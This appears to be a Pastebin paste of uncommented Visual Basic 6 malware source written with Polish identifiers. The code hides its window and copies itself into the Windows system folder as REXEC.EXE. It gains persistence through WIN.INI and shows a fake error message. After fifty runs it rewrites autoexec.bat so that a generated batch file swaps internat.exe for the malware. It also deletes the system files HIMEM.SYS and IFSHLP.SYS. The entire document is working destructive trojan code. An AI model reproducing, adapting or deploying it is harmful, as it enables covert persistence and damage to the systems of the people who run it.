Guest User

Untitled

a guest
Apr 2nd, 2018
294
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2.  
  3. Dim KatalogWindows As String
  4. Dim DlugoscKataloguWindows As Integer
  5. Dim KatalogSystem As String
  6. Dim DlugoscKataloguSystem As Integer
  7. Dim Dysk As String
  8. Dim LiczbaUruchomien As Integer
  9. Dim StrLiczbaUruchomien As String
  10. Dim Temp As String * 255
  11. Dim Temp2 As String
  12. Dim AutoexecBat As New Collection
  13.  
  14. Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  15. Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  16. Public Declare Function WriteINIString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
  17. Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
  18. Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
  19. Sub Main()
  20.     App.TaskVisible = False
  21.    
  22.     DlugoscKataloguWindows = GetWindowsDirectory(Temp, 255)
  23.     KatalogWindows = Left$(Temp, DlugoscKataloguWindows)
  24.    
  25.     If Right$(KatalogWindows, 1) = "\" Then
  26.         KatalogWindows = Left$(KatalogWindows, Len(KatalogWindows) - 1)
  27.     End If
  28.    
  29.     DlugoscKataloguSystem = GetSystemDirectory(Temp, 255)
  30.     KatalogSystem = Left$(Temp, DlugoscKataloguSystem)
  31.    
  32.     If Right$(KatalogSystem, 1) = "\" Then
  33.         KatalogSystem = Left$(KatalogSystem, Len(KatalogSystem) - 1)
  34.     End If
  35.    
  36.     Dysk = Left$(KatalogWindows, 1)
  37.    
  38.     If App.EXEName = "INTERNAT" And Val(GetSetting("Rax", "General", "Clean Up State", 0)) = 0 Then
  39.         KopiujDoSystemu
  40.         SaveSetting "Rax", "General", "Clean Up State", 1
  41.         End
  42.     ElseIf Val(GetSetting("Rax", "General", "Clean Up State", 0)) = 1 Then
  43.         PosprzatajPoSobie
  44.         SaveSetting "Rax", "General", "Clean Up State", 2
  45.         End
  46.     End If
  47.    
  48.     If Val(GetSetting("Rax", "General", "First Start", 1)) = 1 Then
  49.         KopiujDoSystemu
  50.         MsgBox "Error while loading " & App.EXEName & ".EXE.", vbOKOnly + vbCritical + vbSystemModal, "Error"
  51.         End
  52.     End If
  53.    
  54.     LiczbaUruchomien = Val(GetSetting("Rax", "General", "Runs", 0))
  55.     If LiczbaUruchomien >= 50 Then
  56.         Dzialaj
  57.     Else
  58.         LiczbaUruchomien = LiczbaUruchomien + 1
  59.         StrLiczbaUruchomien = Str(LiczbaUruchomien)
  60.         SaveSetting "Rax", "General", "Runs", LiczbaUruchomien
  61.     End If
  62.    
  63.     End
  64.  
  65. End Sub
  66. Sub KopiujDoSystemu()
  67.     Dim load As String
  68.     load = KatalogSystem & "\REXEC.EXE" & vbNullChar
  69.    
  70.     CopyFile App.Path & "\" & App.EXEName & ".EXE", KatalogSystem & "\REXEC.EXE", 0
  71.     WriteINIString "windows", "load", load, KatalogWindows & "\WIN.INI"
  72.     SaveSetting "Rax", "General", "First Start", 0
  73. End Sub
  74. Sub Dzialaj()
  75.     CopyFile App.Path & "\" & App.EXEName & ".EXE", Dysk & ":\rapp.exe", 0
  76.     StworzBAT
  77.     ZapiszDoAutoexecBat
  78.     '----
  79.    DeleteFile KatalogWindows & "\HIMEM.SYS"
  80.     DeleteFile KatalogWindows & "\COMMAND\EBD\HIMEM.SYS"
  81.    
  82.     DeleteFile KatalogWindows & "\IFSHLP.SYS"
  83. End Sub
  84. Sub StworzBAT()
  85.     Open Dysk & ":\autoexec.bat" For Append As #1
  86.         Print #1, Chr(10) & "@call " & Dysk & ":\rbat" & Dysk & ".bat"
  87.     Close #1
  88.    
  89.     Open Dysk & ":\rbat" & Dysk & ".bat" For Output As #1
  90.         Print #1, "@if exist " & Dysk & ":\windows\win.com goto Windows"
  91.         Print #1, "@if exist " & Dysk & ":\win95\win.com goto Win95"
  92.         Print #1, "@if exist " & Dysk & ":\win98\win.com goto Win98"
  93.         Print #1, "@if exist " & Dysk & ":\win2000\win.com goto Win2000"
  94.         Print #1, "@if exist " & Dysk & ":\winme\win.com goto WinMe"
  95.         Print #1, "@if exist " & Dysk & ":\winnt\win.com goto WinNT"
  96.         Print #1, "@if exist " & Dysk & ":\win_95\win.com goto Win_95"
  97.         Print #1, "@if exist " & Dysk & ":\win_98\win.com goto Win_98"
  98.         Print #1, "@if exist " & Dysk & ":\win_2000\win.com goto Win_2000"
  99.         Print #1, "@if exist " & Dysk & ":\win_me\win.com goto Win_Me"
  100.         Print #1, "@if exist " & Dysk & ":\win_nt\win.com goto Win_NT"
  101.         Print #1, "goto End" & Chr(10)
  102.        
  103.         Print #1, ":Windows"
  104.         Print #1, "@copy " & Dysk & ":\windows\internat.exe " & Dysk & ":\windows\internat.bak"
  105.         Print #1, "@del " & Dysk & ":\windows\internat.exe"
  106.         Print #1, "@copy " & Dysk & ":\rapp.exe c:\windows\internat.exe" & Chr(10)
  107.        
  108.         Print #1, ":Win95"
  109.         Print #1, "@copy " & Dysk & ":\win95\internat.exe " & Dysk & ":\win95\internat.bak"
  110.         Print #1, "@del " & Dysk & ":\win95\internat.exe"
  111.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win95\internat.exe"
  112.        
  113.         Print #1, ":Win98"
  114.         Print #1, "@copy " & Dysk & ":\win98\internat.exe " & Dysk & ":\win98\internat.bak"
  115.         Print #1, "@del " & Dysk & ":\win98\internat.exe"
  116.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win98\internat.exe"
  117.        
  118.         Print #1, ":Win2000"
  119.         Print #1, "@copy " & Dysk & ":\win2000\internat.exe " & Dysk & ":\win2000\internat.bak"
  120.         Print #1, "@del " & Dysk & ":\win2000\internat.exe"
  121.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win2000\internat.exe"
  122.        
  123.         Print #1, ":WinMe"
  124.         Print #1, "@copy " & Dysk & ":\winme\internat.exe " & Dysk & ":\winme\internat.bak"
  125.         Print #1, "@del " & Dysk & ":\winme\internat.exe"
  126.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\winme\internat.exe"
  127.        
  128.         Print #1, ":WinNT"
  129.         Print #1, "@copy " & Dysk & ":\winnt\internat.exe " & Dysk & ":\winnt\internat.bak"
  130.         Print #1, "@del " & Dysk & ":\winnt\internat.exe"
  131.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\winnt\internat.exe"
  132.        
  133.         Print #1, ":Win_95"
  134.         Print #1, "@copy " & Dysk & ":\win_95\internat.exe " & Dysk & ":\win_95\internat.bak"
  135.         Print #1, "@del " & Dysk & ":\win_95\internat.exe"
  136.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_95\internat.exe"
  137.        
  138.         Print #1, ":Win_98"
  139.         Print #1, "@copy " & Dysk & ":\win_98\internat.exe " & Dysk & ":\win_98\internat.bak"
  140.         Print #1, "@del " & Dysk & ":\win_98\internat.exe"
  141.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_98\internat.exe"
  142.        
  143.         Print #1, ":Win_2000"
  144.         Print #1, "@copy " & Dysk & ":\win_2000\internat.exe " & Dysk & ":\win_2000\internat.bak"
  145.         Print #1, "@del " & Dysk & ":\win_2000\internat.exe"
  146.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_2000\internat.exe"
  147.        
  148.         Print #1, ":Win_Me"
  149.         Print #1, "@copy " & Dysk & ":\win_me\internat.exe " & Dysk & ":\win_me\internat.bak"
  150.         Print #1, "@del " & Dysk & ":\win_me\internat.exe"
  151.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_me\internat.exe"
  152.        
  153.         Print #1, ":Win_NT"
  154.         Print #1, "@copy " & Dysk & ":\win_nt\internat.exe " & Dysk & ":\win_nt\internat.bak"
  155.         Print #1, "@del " & Dysk & ":\win_nt\internat.exe"
  156.         Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_nt\internat.exe"
  157.        
  158.         Print #1, ":End"
  159.     Close #1
  160.    
  161. End Sub
  162. Sub PosprzatajPoSobie()
  163. Dim i As Integer
  164.  
  165.     CopyFile KatalogWindows & "\INTERNAT.BAK", KatalogWindows & "\INTERNAT.EXE", 0
  166.     DeleteFile Dysk & ":\rbat" & Dysk & ".bat"
  167.     DeleteFile Dysk & ":\rapp.exe"
  168.    
  169.     Open Dysk & ":\autoexec.bat" For Input As #1
  170.         Do Until EOF(1)
  171.             Input #1, Temp
  172.             If Temp <> "@call " & Dysk & ":\rbat" & Dysk & ".bat" Then
  173.                 AutoexecBat.Add Temp
  174.             End If
  175.         Loop
  176.     Close #1
  177.    
  178.     Open Dysk & ":\autoexec.bat" For Output As #1
  179.         For i = 0 To AutoexecBat.Count - 1 Step 1
  180.             Print #1, AutoexecBat.Item(i)
  181.         Next i
  182.     Close #1
  183. End Sub
  184. Sub ZapiszDoAutoexecBat()
  185.     Open Dysk & ":\autoexec.bat" For Input As #1
  186.         Do Until EOF(1)
  187.             Input #1, Temp
  188.             If Temp = "@call " & Dysk & ":\rbat" & Dysk & ".bat" Then
  189.                 Exit Sub
  190.             End If
  191.         Loop
  192.     Close #1
  193.    
  194.     Open Dysk & ":\autoexec.bat" For Append As #1
  195.         Print #1, Chr(10) & "@call " & Dysk & ":\rbat" & Dysk & ".bat"
  196.     Close #1
  197. End Sub
Advertisement
Add Comment
Please, Sign In to add comment